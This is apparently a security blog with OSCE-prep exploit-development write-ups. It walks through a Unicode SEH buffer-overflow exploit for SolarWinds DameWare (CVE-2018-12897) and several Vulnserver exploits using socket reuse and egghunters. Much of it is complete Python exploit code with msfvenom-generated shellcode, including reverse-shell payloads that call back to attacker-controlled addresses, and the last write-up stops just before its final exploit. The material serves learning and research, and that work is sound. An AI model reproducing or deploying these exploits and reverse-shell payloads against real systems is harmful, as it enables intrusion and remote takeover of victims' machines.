CVE-2018-12897 – Exploit Development – SolarWinds DameWare Local Buffer Overflow

Hello everyone!

Last week I’ve been having fun trying to create exploits for already discovered vulnerabilities. I’m currently preparing the OSCE exam, and I decided that after doing some Vulnserver exercises… I needed to start working on “more realistic” exploits.

For this case, I chose the following application: DameWare Mini Remote Control and I will cover the process of creating a working exploit for a SEH based local Buffer Overflow that corresponds to CVE-2018-12897.

This vulnerability was discovered by Adam Jeffreys from Nettitude, so all the credit goes to him. You can read his write-up in the following blog post:

https://labs.nettitude.com/blog/solarwinds-cve-2018-12897-dameware-mini-remote-control-local-seh-buffer-overflow/

Now I’m going to write the exploit from the scratch without any help, the idea is to prepare the exam πŸ™‚

Step 1. Identifying the vulnerable parameter:

The vulnerability is a local Buffer Overflow that leads in code execution. I manually input 5000 A’s in this field in this options menu:

Right click on a host >> AMT >> AMT Settings dialog

We mark “Use SOCKS proxy” box, and the we paste the 5000 A’s string in the Host field:

When we introduce this string, the application is going to crash. If we do the same with a debugger attached to the process of the application we can see the following:

We managed to overwrite the Structured Exception Handler(SEH). So we are in the good way.

Step 2. ASCII to Unicode conversion

As I said, we overwritten the SEH, but we expected to have the value 41414141 in it (4 A’s). But we have 00410041, this is indicative that our buffer it’s getting converted to Unicode.

The process that is happening, is that the ASCII character “\x41″ is converted to u”\u0041”.

This transformation is going to complicate all the process of exploit development. Some values are going to change and get modified, also we are not going to be able to use some instructions and we are going to need to use the imagination, or Corelan tutorials πŸ˜›

Step 3. Where is our buffer located and what instruction do we need

If we press SHIFT + F9 we are going to pass exception the program and we are going to reach the memory address 00410041, our SEH value. If we quickly inspect that state of the stack, we are going to see that in the third position of the stack, is located our A’s string.

So we need an instruction or a set of instructions, that can jump to that position of the stack. The instructions that suits us is a POP-POP-RET. Is going to remove the top two values of the stack, and is going to execute the third one.

Step 4. Locating a Unicode compatible POP-POP-RET

At this point we need to locate an Unicode compatible instruction that contains what we need, with unicode compatible I mean an instruction like the following:

00XX00XX

Or a similar one, that gets converted to a suitable address. An easy way to locate one, if exists, is using Mona plugin from Corelan.

To do that, we need to attach the application to the Immunity debugger and execute the following command:

!mona seh -cp unicode

The first memory address is 007a007b and it contains a POP-POP-RET 4 instruction that suits our needs.

Step 5. NSEH instructions

NSEH is going to be the next instructions that we are going to execute, we need that them don’t break the program execution flow.

After reading the Corelan tutorial again, and doing some tests I identified that these instructions are fine:

nseh = "\x61\x43"

Step 6. Jumping to the final shellcode

The shellcode that we need must be alphanumerical encoded. There is a tool that converts our shellcode to a “Unicode exploit compatible”. You can find it here:

https://github.com/un4ckn0wl3z/Alpha2-encoder

Just compile it with gcc and you can execute after this commands:

# msfvenom -p windows/exec CMD=calc -f raw > shellcode.raw
# ./alpha2 eax --unicode --uppercase < shellcode.raw

And this is the shellcode generated

# 508 bytes
shellcode = "PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLYX4BM0M0KPQP4IZEP17PQTDKPPNPTK1BLLDK1BLTTKT2MXLOVWPJMV01KO6LOLS13LM2NLMPWQHOLMM1WWK2KBPR27TKPRLP4K0JOLTK0LN1D8K3OXKQJ1R1TKPYMPM1HS4KPILXYSOJQ9DKOD4KM1XVNQKO6LGQ8OLMM1WWP89PRUZVLCSMKHOKSMMT2UJD1HDKQHNDKQJ31VTKLL0K4K1HMLM1J3DKKTTKM1HP3YQ4O4ND1K1KQQR9PZ0QKOYPQOQOQJDKLRZKTM1MRJM1DMCUH2KPKPKPPPQXP1TKBOU7KOHUWKL07EFB0V38W6V5WMUMKOJ5OLM63LLJ3PKKIP2UKUWK17MCBRROQZM0B3KOZ51S1Q2LQSKPA"

We put all together in our final exploit:

#!/usr/bin/env python
# Author: Xavi Beltran
# Date: 11/07/2019
# Description:
#           SEH based Buffer Overflow
#			DameWare Remote Support V. 12.0.0.509
#			CVE-2018-12897

# Contact: xavibeltran@protonmail.com
# Webpage: https://xavibel.com
# Tested on: Windows XP SP3 ESP

# Credit for Adam Jeffreys from Nettitude! :)

# Usage:
#			Right click on a host >> AMT >> AMT Settings dialog
#			Mark "Use SOCKS proxy" box
#			Paste the string in the Host field

junk  = "\x41" * 1672

# Unicode compatible padding
nseh = "\x61\x43"

# 007A007B - POP POP RET
seh = "\x7B\x7A"

align  = ""
align += "\x05\x20\x11"       # add eax,0x11002000
align += "\x71"               # Venetian Padding
align += "\x2d\x19\x11"       # sub eax,0x11001900
align += "\x71"               # Venetian Padding
align += "\x50"               # push eax
align += "\x71"               # Venetian Padding
align += "\xC3"               # RETN

padding = "\x41" * 11

junk2 = "\x41" * 870
junk3 = "\x41" * 2014

# msfvenom -p windows/exec CMD=calc -f raw > shellcode.raw
# ./alpha2 eax --unicode --uppercase < shellcode.raw
# 508 bytes
shellcode = "PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLYX4BM0M0KPQP4IZEP17PQTDKPPNPTK1BLLDK1BLTTKT2MXLOVWPJMV01KO6LOLS13LM2NLMPWQHOLMM1WWK2KBPR27TKPRLP4K0JOLTK0LN1D8K3OXKQJ1R1TKPYMPM1HS4KPILXYSOJQ9DKOD4KM1XVNQKO6LGQ8OLMM1WWP89PRUZVLCSMKHOKSMMT2UJD1HDKQHNDKQJ31VTKLL0K4K1HMLM1J3DKKTTKM1HP3YQ4O4ND1K1KQQR9PZ0QKOYPQOQOQJDKLRZKTM1MRJM1DMCUH2KPKPKPPPQXP1TKBOU7KOHUWKL07EFB0V38W6V5WMUMKOJ5OLM63LLJ3PKKIP2UKUWK17MCBRROQZM0B3KOZ51S1Q2LQSKPA"


crash = junk + nseh + seh + padding + align + junk2 + shellcode + junk3

print(crash)

Finally, we run the exploit, and we verify that our code works correctly, and before the last return instruction, we have the generated shellcode in EAX:

We let the execution continue and here is our calc!

I submitted it to Exploit-DB just in case, maybe it’s useful for someone like me that is learning about this kind of exploits. Here is the link:

https://www.exploit-db.com/exploits/47126

With the same technique described a few hours later I identified a new vulnerability in another product and I reported to the vendor doing a responsible disclosure. I will publish the same write up when they fix it. It seems that the Offensive Security course worths the money πŸ™‚

See you soon after some more hours inside a debugger!

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Exploit Development – Vulnserver TRUN – Socket Reuse

Hello!

This post is going to cover the exploitation of the TRUN method of Vulnserver using the socket reuse technique that I explained in the last entry of the Blog.

This blog post is going to be straight forward, as it were personal notes I’m not going to explain everything. But here you can read all the details of this particular technique:

Also, in this other blog post I explained the process of exploiting a normal Buffer Overflow for the TRUN function of Vulnserver:

Well let’s start at the point that we have control of EIP, and we use it to do a JMP ESP and we have enough space to place the shellcode that we want.

The current exploit looks like this:

#!/usr/bin/python
import socket
import os
import sys

# 625011AF   FFE4             JMP ESP
crash = "A" * 2003 + "\xAF\x11\x50\x62" + "C" * 2903

buffer="TRUN /.:/"
buffer+= crash + "\r\n"
print "[*] Sending exploit!"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.1.99", 9999))
expl.send(buffer)
expl.close()

Our jump to ESP register is going to land in the 2903 C’s buffer string.

This time instead doing a Vanilla BOF exploitation, let’s try to do it using socket reuse.


Step 1. Finding a RECV call

Looking at the inter-modular calls in Olly I find this one:

I setup a break point there and I send some information to Vulnserver, when I reach the break point I can see that these are the values of the parameters that are stored in the stack before the function call occurs:

017CF9DC   00401958  /CALL to recv from vulnserv.00401953
017CF9E0   0000005C  |Socket = 5C
017CF9E4   005E3688  |Buffer = 005E3688
017CF9E8   00001000  |BufSize = 1000 (4096.)
017CF9EC   00000000  \Flags = 0

the socket descriptor is:

00 00 00 5C

Step 2. Finding the socket descriptor

As in the last blog post, If we look for what is in address where our socket was, we can see that the socket descriptor identifier was overwritten.

We need to find a copy elsewhere, so I use the binary search in the vulnserver.exe module and I find our socket descriptor:

0171FFA9   0000             ADD BYTE PTR DS:[EAX],AL
0171FFAB   005C00 00        ADD BYTE PTR DS:[EAX+EAX],BL
0171FFAF   0000             ADD BYTE PTR DS:[EAX],AL

Step 3. Calculate socket descriptor offset

That is at this memory address(aprox): 0171FFA9 and the current value of ESP is: 0171F9E0.

The difference between the socket location and ESP is: 5C9. After some adjustments i identify that the correct offset is 5CC.

Let’s start developing our exploit to reach the socket memory address:

socket_reuse  = ""
socket_reuse += "\x54"                      # PUSH ESP
socket_reuse += "\x59"                      # POP ECX
socket_reuse += "\x66\x81\xC1\xCC\x05"      # ADD CX, 5CC

Step 4. Avoiding EIP/ESP collision:

We realize that ESP and EIP registers are too close and this can break our exploit execution. (In the last blog post I explained more in deep this part)

We can modify the value of ESP to prevent this:

socket_reuse += "\x83\xEC\x50"              # SUB ESP, 50

Step 5. Push RECV parameters into the stack:

Now it’s the moment to do the call to recv, but before we need to setup the stack with the correct parameters.

First we push a 0 into the stack:

socket_reuse += "\x33\xD2"               # XOR EDX,EDX
socket_reuse += "\x52"                   # PUSH EDX

Then we push a 2:

socket_reuse += "\x80\xC6\x02"           # ADD DH,2
socket_reuse += "\x52"                   # PUSH EDX

Now we need to setup the buffer variable, it’s were our buffer it’s going to be located. The second buffer it’s going to be located after the first one, so we add 38 bytes to ESP and push that value to the stack:

socket_reuse += "\x54"                   # PUSH ESP
socket_reuse += "\x5A"                   # POP EDX
socket_reuse += "\x80\xC2\x38"           # ADD DL, 38
socket_reuse += "\x52"                   # PUSH EDX

And the last thing that we need to push is our socket file descriptor:

socket_reuse += "\xFF\x31"               # PUSH DWORD PTR DS:[ECX]

Step 6. Call RECV

Finally we call the RECV function. I’m using SHR because the memory address of RECV contains a null byte, you can read more about this in the last blog post too.

socket_reuse += "\xB8\x88\x2C\x25\x40" # MOV EAX, 40252C88 
socket_reuse += "\xC1\xE8\x08" # SHR EAX, 8  
socket_reuse += "\xFF\xD0" # CALL EAX

This is the final python exploit:

#!/usr/bin/python
# Author: Xavi Bel
# Date: 30/06/2019
# Website: xavibel.com
# Vulnserver - KSET - Using socket reuse

import socket
import os
import sys
import time

# socket reuse technique
# 35 bytes + 34 bytes of padding = 69 bytes
exploit  = ""
exploit += "\x54"                   # PUSH ESP
exploit += "\x59"                   # POP ECX
exploit += "\x66\x81\xC1\xCC\x05"   # ADD CX,5C9
exploit += "\x83\xEC\x50"           # SUB ESP, 50
exploit += "\x33\xD2"               # XOR EDX,EDX
exploit += "\x52"                   # PUSH EDX
exploit += "\x80\xC6\x02"           # ADD DH,2
exploit += "\x52"                   # PUSH EDX
exploit += "\x54"                   # PUSH ESP
exploit += "\x5A"                   # POP EDX
exploit += "\x80\xC2\x38"           # ADD DL, 36
exploit += "\x52"                   # PUSH EDX
exploit += "\xFF\x31"               # PUSH DWORD PTR DS:[ECX]
exploit += "\xB8\x88\x2C\x25\x40"   # MOV EAX, 40252C88
exploit += "\xC1\xE8\x08"           # SHR EAX, 8    
exploit += "\xFF\xD0"               # CALL EAX

exploit += "\x90" * 34

# 625011AF - JMP ESP
crash = "\x20" + exploit + "\xAF\x11\x50\x62" + "\x90" * 18 + "\xEB\xA3"

buffer="KSTET "
buffer+= crash + "\r\n"
print "[*] Sending exploit!"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.1.99", 9999))
expl.send(buffer)

time.sleep(1)

# msfvenom -p windows/shell_reverse_tcp LPORT=443 LHOST=192.168.1.88 EXITFUNC=thread -b "\x00" -f python | sed 's/buf/shellcode/g'
# 351 bytes
shellcode =  ""
shellcode += "\xbe\x8e\x14\x1d\x2d\xda\xd4\xd9\x74\x24\xf4\x5d\x29"
shellcode += "\xc9\xb1\x52\x83\xed\xfc\x31\x75\x0e\x03\xfb\x1a\xff"
shellcode += "\xd8\xff\xcb\x7d\x22\xff\x0b\xe2\xaa\x1a\x3a\x22\xc8"
shellcode += "\x6f\x6d\x92\x9a\x3d\x82\x59\xce\xd5\x11\x2f\xc7\xda"
shellcode += "\x92\x9a\x31\xd5\x23\xb6\x02\x74\xa0\xc5\x56\x56\x99"
shellcode += "\x05\xab\x97\xde\x78\x46\xc5\xb7\xf7\xf5\xf9\xbc\x42"
shellcode += "\xc6\x72\x8e\x43\x4e\x67\x47\x65\x7f\x36\xd3\x3c\x5f"
shellcode += "\xb9\x30\x35\xd6\xa1\x55\x70\xa0\x5a\xad\x0e\x33\x8a"
shellcode += "\xff\xef\x98\xf3\xcf\x1d\xe0\x34\xf7\xfd\x97\x4c\x0b"
shellcode += "\x83\xaf\x8b\x71\x5f\x25\x0f\xd1\x14\x9d\xeb\xe3\xf9"
shellcode += "\x78\x78\xef\xb6\x0f\x26\xec\x49\xc3\x5d\x08\xc1\xe2"
shellcode += "\xb1\x98\x91\xc0\x15\xc0\x42\x68\x0c\xac\x25\x95\x4e"
shellcode += "\x0f\x99\x33\x05\xa2\xce\x49\x44\xab\x23\x60\x76\x2b"
shellcode += "\x2c\xf3\x05\x19\xf3\xaf\x81\x11\x7c\x76\x56\x55\x57"
shellcode += "\xce\xc8\xa8\x58\x2f\xc1\x6e\x0c\x7f\x79\x46\x2d\x14"
shellcode += "\x79\x67\xf8\xbb\x29\xc7\x53\x7c\x99\xa7\x03\x14\xf3"
shellcode += "\x27\x7b\x04\xfc\xed\x14\xaf\x07\x66\xdb\x98\x06\x2e"
shellcode += "\xb3\xda\x08\xcf\xf8\x52\xee\xa5\xee\x32\xb9\x51\x96"
shellcode += "\x1e\x31\xc3\x57\xb5\x3c\xc3\xdc\x3a\xc1\x8a\x14\x36"
shellcode += "\xd1\x7b\xd5\x0d\x8b\x2a\xea\xbb\xa3\xb1\x79\x20\x33"
shellcode += "\xbf\x61\xff\x64\xe8\x54\xf6\xe0\x04\xce\xa0\x16\xd5"
shellcode += "\x96\x8b\x92\x02\x6b\x15\x1b\xc6\xd7\x31\x0b\x1e\xd7"
shellcode += "\x7d\x7f\xce\x8e\x2b\x29\xa8\x78\x9a\x83\x62\xd6\x74"
shellcode += "\x43\xf2\x14\x47\x15\xfb\x70\x31\xf9\x4a\x2d\x04\x06"
shellcode += "\x62\xb9\x80\x7f\x9e\x59\x6e\xaa\x1a\x79\x8d\x7e\x57"
shellcode += "\x12\x08\xeb\xda\x7f\xab\xc6\x19\x86\x28\xe2\xe1\x7d"
shellcode += "\x30\x87\xe4\x3a\xf6\x74\x95\x53\x93\x7a\x0a\x53\xb6"

expl.send("\x90" * 5 + shellcode + "\x90" * 156)

expl.close()

https://github.com/socket8088/Vulnserver/blob/master/TRUN/EXP-TRUN-02-socket-reuse.py

And here it’s our shell!

Posted in Exploiting | Tagged , , , , , , , , | Leave a comment

Exploit Development – Vulnserver KSTET – Egghunter 2

Hello everyone,

This post is an alternative way to crack Vulnserver using KSTET command. To understand what I’m going to show in you here and how you can exploit this specific method you need to read the last post of the blog. You can find it here:

We were at this point:

crash = "A" * 70 + "B" * 4 + "C" * 19 + "D"
buffer="KSTET " + crash + "\r\n"

So we have 3 parts in our buffer:

  • 70 bytes length before EIP located in EAX
  • EIP overwrite
  • 20 bytes after EIP located in ESP

This time we are going to jump to ESP register. So the first thing that we need to do it’s to find a proper jump. I’m going to use Immunity debugger and the Corelan plugin named Mona to try to find one.

I run this command in Immunity console:

!mona jmp -r esp -d essfunc.dll

And we find several jumps:

We can use the first one:

0x625011AF

Let’s modify our exploit:

crash = "A" * 70 + "\xAF\x11\x50\x62" + "C" * 20

We set a breakpoint before the JMP ESP instruction. We launch the exploit and we reach our breakpoint:

Our egghunter length is 32 bytes, and we only have 20 bytes of space, so we can’t write it here. We need to jump backwards to the other buffer that was 70 bytes long.

To do that we can go to the debugger, we take the jump and we look for the first characters of the big buffer space. That are here:

As you can see I selected the third A character because the other two seems to belong to the previous instruction.

I copy this memory address:

017CF998   41               INC ECX

And I go to the current position of EIP. Here I double click in the instruction to modify it:

And i write the Jump that I want:

And Olly tells me that the opcode that I need is the following one:

So I need to use:

"\xEB\xB6"

Let’s add this information to the code:

crash = "\x20"\x41 * 1 + "A" * 68 + "\xAF\x11\x50\x62" + "\xEB\xB6" + "\xCC" * 18

After doing some small adjustments I verify that our Jump works:

At this point we just need to implement the same that in the previous blog post.

Let’s use the same method to complete the exploit:

# Author: Xavi Bel
# Date: 26/06/2019
# Website: xavibel.com
# Vulnserver KSTET - Method 2
#!/usr/bin/python
import socket
import os
import sys
import time

# Connection
expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("172.16.35.131", 9999))
print expl.recv(1024)

# First buffer:
#       EGGx2
#       Shellcode

# Reverse TCP Bind Shell
# Payload size: 351 bytes
shellcode =  ""
shellcode += "\xb8\x41\xdb\x4c\xdd\xdb\xcc\xd9\x74\x24\xf4\x5b\x33"
shellcode += "\xc9\xb1\x52\x31\x43\x12\x83\xeb\xfc\x03\x02\xd5\xae"
shellcode += "\x28\x78\x01\xac\xd3\x80\xd2\xd1\x5a\x65\xe3\xd1\x39"
shellcode += "\xee\x54\xe2\x4a\xa2\x58\x89\x1f\x56\xea\xff\xb7\x59"
shellcode += "\x5b\xb5\xe1\x54\x5c\xe6\xd2\xf7\xde\xf5\x06\xd7\xdf"
shellcode += "\x35\x5b\x16\x27\x2b\x96\x4a\xf0\x27\x05\x7a\x75\x7d"
shellcode += "\x96\xf1\xc5\x93\x9e\xe6\x9e\x92\x8f\xb9\x95\xcc\x0f"
shellcode += "\x38\x79\x65\x06\x22\x9e\x40\xd0\xd9\x54\x3e\xe3\x0b"
shellcode += "\xa5\xbf\x48\x72\x09\x32\x90\xb3\xae\xad\xe7\xcd\xcc"
shellcode += "\x50\xf0\x0a\xae\x8e\x75\x88\x08\x44\x2d\x74\xa8\x89"
shellcode += "\xa8\xff\xa6\x66\xbe\xa7\xaa\x79\x13\xdc\xd7\xf2\x92"
shellcode += "\x32\x5e\x40\xb1\x96\x3a\x12\xd8\x8f\xe6\xf5\xe5\xcf"
shellcode += "\x48\xa9\x43\x84\x65\xbe\xf9\xc7\xe1\x73\x30\xf7\xf1"
shellcode += "\x1b\x43\x84\xc3\x84\xff\x02\x68\x4c\x26\xd5\x8f\x67"
shellcode += "\x9e\x49\x6e\x88\xdf\x40\xb5\xdc\x8f\xfa\x1c\x5d\x44"
shellcode += "\xfa\xa1\x88\xcb\xaa\x0d\x63\xac\x1a\xee\xd3\x44\x70"
shellcode += "\xe1\x0c\x74\x7b\x2b\x25\x1f\x86\xbc\xe6\xf0\xab\xbd"
shellcode += "\x9f\xf2\xab\xbc\xe4\x7a\x4d\xd4\x0a\x2b\xc6\x41\xb2"
shellcode += "\x76\x9c\xf0\x3b\xad\xd9\x33\xb7\x42\x1e\xfd\x30\x2e"
shellcode += "\x0c\x6a\xb1\x65\x6e\x3d\xce\x53\x06\xa1\x5d\x38\xd6"
shellcode += "\xac\x7d\x97\x81\xf9\xb0\xee\x47\x14\xea\x58\x75\xe5"
shellcode += "\x6a\xa2\x3d\x32\x4f\x2d\xbc\xb7\xeb\x09\xae\x01\xf3"
shellcode += "\x15\x9a\xdd\xa2\xc3\x74\x98\x1c\xa2\x2e\x72\xf2\x6c"
shellcode += "\xa6\x03\x38\xaf\xb0\x0b\x15\x59\x5c\xbd\xc0\x1c\x63"
shellcode += "\x72\x85\xa8\x1c\x6e\x35\x56\xf7\x2a\x45\x1d\x55\x1a"
shellcode += "\xce\xf8\x0c\x1e\x93\xfa\xfb\x5d\xaa\x78\x09\x1e\x49"
shellcode += "\x60\x78\x1b\x15\x26\x91\x51\x06\xc3\x95\xc6\x27\xc6"

buffer2  = "GDOG "
buffer2 += "T00WT00W"
#buffer2 += "\xCC" * 105 + "\x44" + "\x45" * 5000
buffer2 += "\x90" * 8
buffer2 += shellcode
buffer2 += "\x90" * 8
buffer2 += "\r\n"

print "[+] Sending exploit part 1!"
expl.send(buffer2)
print expl.recv(1024)

time.sleep(5)

# Egghunter
# 32 bytes length
# EGG W00TW00T
egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8\x54\x30\x30\x57\x89\xD7\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"

# \x20\x20\x20          - Second jump adjustment
# 625011AF              - JMP ESP stored in vulnserver dll
crash = "\x20\41" + egghunter + "\x90" * 36 + "\xAF\x11\x50\x62" + "\xEB\xB6" + "\x90" * 18


buffer  ="KSTET "
buffer += crash + "\r\n"
print "[+] Sending exploit part 2!"

expl.send(buffer)
expl.close()

https://github.com/socket8088/Vulnserver/blob/master/KSTET/EXP-KSTET-02.py

We run our exploit, and we receive our reverse shell! πŸ™‚

See you soon! I will continue doing Vulnserver write-ups and probably in the future I’m going to rewrite some Exploit-DB exploits.

Posted in Exploiting | Tagged , , , , , , , , , | Leave a comment

Exploit Development – Vulnserver KSTET – Egghunter 1

Hello everyone! This is going to be the second post of the series of Vulnserver. This post will cover the exploitation of vulnserver using the KSTET function

This one is a bit more difficult than TRUN, that was the one that I explained in the last blog post.

For this write-up I would not write the fuzzing part and the location of EIP. I did exactly the same process than in the previous post, so you can read all the information here:

After the fuzzing process and the location of EIP, we are going to see that we have a very little buffer space. We are going to be at this point:

crash = "A" * 70 + "B" * 4 + "C" * 19 + "D"
buffer="KSTET " + crash + "\r\n"

So we have 3 parts in our buffer:

  • 70 bytes length before EIP
  • EIP overwrite
  • 20 bytes after EIP

Now that we now our buffer length, let’s see where it’s located. This is our current python script:

#!/usr/bin/python
import socket
import os
import sys

crash = "A" * 70 + "B" * 4 + "C" * 19 + "D"

buffer="KSTET "
buffer+= crash + "\r\n"
print "[*] Sending exploit!"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("172.16.35.131", 9999))
expl.send(buffer)
expl.close()

And this is a screenshot of Olly after the crash:

As you can see in the image above, we overwritten EIP with the 4 B’s. Our 20 bytes length buffer it’s located in ESP and our 70 bytes length buffer it’s located in EAX.

Let’s start for the first thing, that is going to be overwrite EIP. We have multiple options, look for a JMP/CALL EAX, or do a JMP/CALL ESP.

I’m going to follow both ways of exploitation, but for this particular blog post I’m going to Jump to EAX, if you want to see how to do it jumping to ESP you can read it in the next blog post.

Having said this, we can continue. Using Mona plugin for Immunity, we can look for the JMP EAX or CALL EAX that we need. We already did that in the previous blog post, and we identified the following memory address that is located in vulnserver dll:

#62501084   FFD0             CALL EAX

At this point we can overwrite EIP, and put a breakpoint in the CALL EAX instruction. Our buffer right now contains this:

crash = "A" * 70 + "\x84\x10\x50\x62" + "C" * 19 + "D"

And we reach the breakpoint:

Then we have to look what character we can use in our exploit. We only have 70 bytes buffer length so I have to do it in 3 parts: (one not commented, the others two commented)

badchars  = ""
badchars += "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
badchars += "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
badchars += "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
badchars += "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
#badchars += "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
#badchars += "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
#badchars += "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
#badchars += "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
#badchars += "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
#badchars += "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
#badchars += "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
#badchars += "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
#badchars += "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
#badchars += "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
#badchars += "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
#badchars += "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x00"

After I generate two more crashes with the other two parts. At the end we only have the null byte as a bad character: “\x00”.

At this point, the plan is to store an egghunter in EAX and then jump to it. This is our current code:

# Egghunter
# 32 bytes length
# EGG W00TW00T
egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8\x54\x30\x30\x57\x89\xD7\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"

# 62501084   FFD0             CALL EAX
crash = "\x90" * 8  + egghunter + "\x90" * 30 + "\x84\x10\x50\x62" + "C" * 19 + "D"

As you see I added a small string with some NOPS for padding. I send it, but the egghunter won’t execute.

Trick 1: Access violation caused by our Nops padding

When we send that, we are also executing the following ASCII string: “STET” followed by some NOPS instructions that I added manually.

They generated the following instruction;

017DF995         2090 90909090    AND BYTE PTR DS:[EAX+90909090],DL

And it crashes the program:

I’ve tested it until I realized that adding 3 “\x20” bytes before the egghunter it works correctly:

crash = "\x20" * 3 + egghunter + "\x90" * 35 + "\x84\x10\x50\x62" + "C" * 19 + "D"

Now we need to send our egg and our shellcode so the program con store it in memory and our egghunter can find it. I saw that the function GDOG saves the string directly into memory.

So first I generated the shellcode:

root@kali:~/Documents/Certifications/OSCE/Vulnserver/2_KSTET# msfvenom -p windows/shell_reverse_tcp LHOST=172.16.35.129 LPORT=443 -f py -b "\x00" | sed 's/buf/shellcode/g'
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of py file: 1684 bytes
shellcode =  ""
shellcode += "\xda\xc8\xd9\x74\x24\xf4\x58\x29\xc9\xb1\x52\xbb\x3a"
shellcode += "\x54\x35\x97\x31\x58\x17\x03\x58\x17\x83\xfa\x50\xd7"
shellcode += "\x62\x06\xb0\x95\x8d\xf6\x41\xfa\x04\x13\x70\x3a\x72"
shellcode += "\x50\x23\x8a\xf0\x34\xc8\x61\x54\xac\x5b\x07\x71\xc3"
shellcode += "\xec\xa2\xa7\xea\xed\x9f\x94\x6d\x6e\xe2\xc8\x4d\x4f"
shellcode += "\x2d\x1d\x8c\x88\x50\xec\xdc\x41\x1e\x43\xf0\xe6\x6a"
shellcode += "\x58\x7b\xb4\x7b\xd8\x98\x0d\x7d\xc9\x0f\x05\x24\xc9"
shellcode += "\xae\xca\x5c\x40\xa8\x0f\x58\x1a\x43\xfb\x16\x9d\x85"
shellcode += "\x35\xd6\x32\xe8\xf9\x25\x4a\x2d\x3d\xd6\x39\x47\x3d"
shellcode += "\x6b\x3a\x9c\x3f\xb7\xcf\x06\xe7\x3c\x77\xe2\x19\x90"
shellcode += "\xee\x61\x15\x5d\x64\x2d\x3a\x60\xa9\x46\x46\xe9\x4c"
shellcode += "\x88\xce\xa9\x6a\x0c\x8a\x6a\x12\x15\x76\xdc\x2b\x45"
shellcode += "\xd9\x81\x89\x0e\xf4\xd6\xa3\x4d\x91\x1b\x8e\x6d\x61"
shellcode += "\x34\x99\x1e\x53\x9b\x31\x88\xdf\x54\x9c\x4f\x1f\x4f"
shellcode += "\x58\xdf\xde\x70\x99\xf6\x24\x24\xc9\x60\x8c\x45\x82"
shellcode += "\x70\x31\x90\x05\x20\x9d\x4b\xe6\x90\x5d\x3c\x8e\xfa"
shellcode += "\x51\x63\xae\x05\xb8\x0c\x45\xfc\x2b\x9f\x8a\xdd\x2a"
shellcode += "\xb7\xa8\x21\x2c\xf3\x24\xc7\x44\x13\x61\x50\xf1\x8a"
shellcode += "\x28\x2a\x60\x52\xe7\x57\xa2\xd8\x04\xa8\x6d\x29\x60"
shellcode += "\xba\x1a\xd9\x3f\xe0\x8d\xe6\x95\x8c\x52\x74\x72\x4c"
shellcode += "\x1c\x65\x2d\x1b\x49\x5b\x24\xc9\x67\xc2\x9e\xef\x75"
shellcode += "\x92\xd9\xab\xa1\x67\xe7\x32\x27\xd3\xc3\x24\xf1\xdc"
shellcode += "\x4f\x10\xad\x8a\x19\xce\x0b\x65\xe8\xb8\xc5\xda\xa2"
shellcode += "\x2c\x93\x10\x75\x2a\x9c\x7c\x03\xd2\x2d\x29\x52\xed"
shellcode += "\x82\xbd\x52\x96\xfe\x5d\x9c\x4d\xbb\x6e\xd7\xcf\xea"
shellcode += "\xe6\xbe\x9a\xae\x6a\x41\x71\xec\x92\xc2\x73\x8d\x60"
shellcode += "\xda\xf6\x88\x2d\x5c\xeb\xe0\x3e\x09\x0b\x56\x3e\x18"

And after that I needed to modify the script. The main structure is going to be the following:

  • We connect to Vulnserver
  • We receive the banner
  • We launch the first command: GDOG EGG+EGG+SHELLCODE
  • We receive the banner
  • We wait some seconds
  • We launch the second command: KSTET “\x20″* 3 + EGGHUNTER

This is the final exploit:

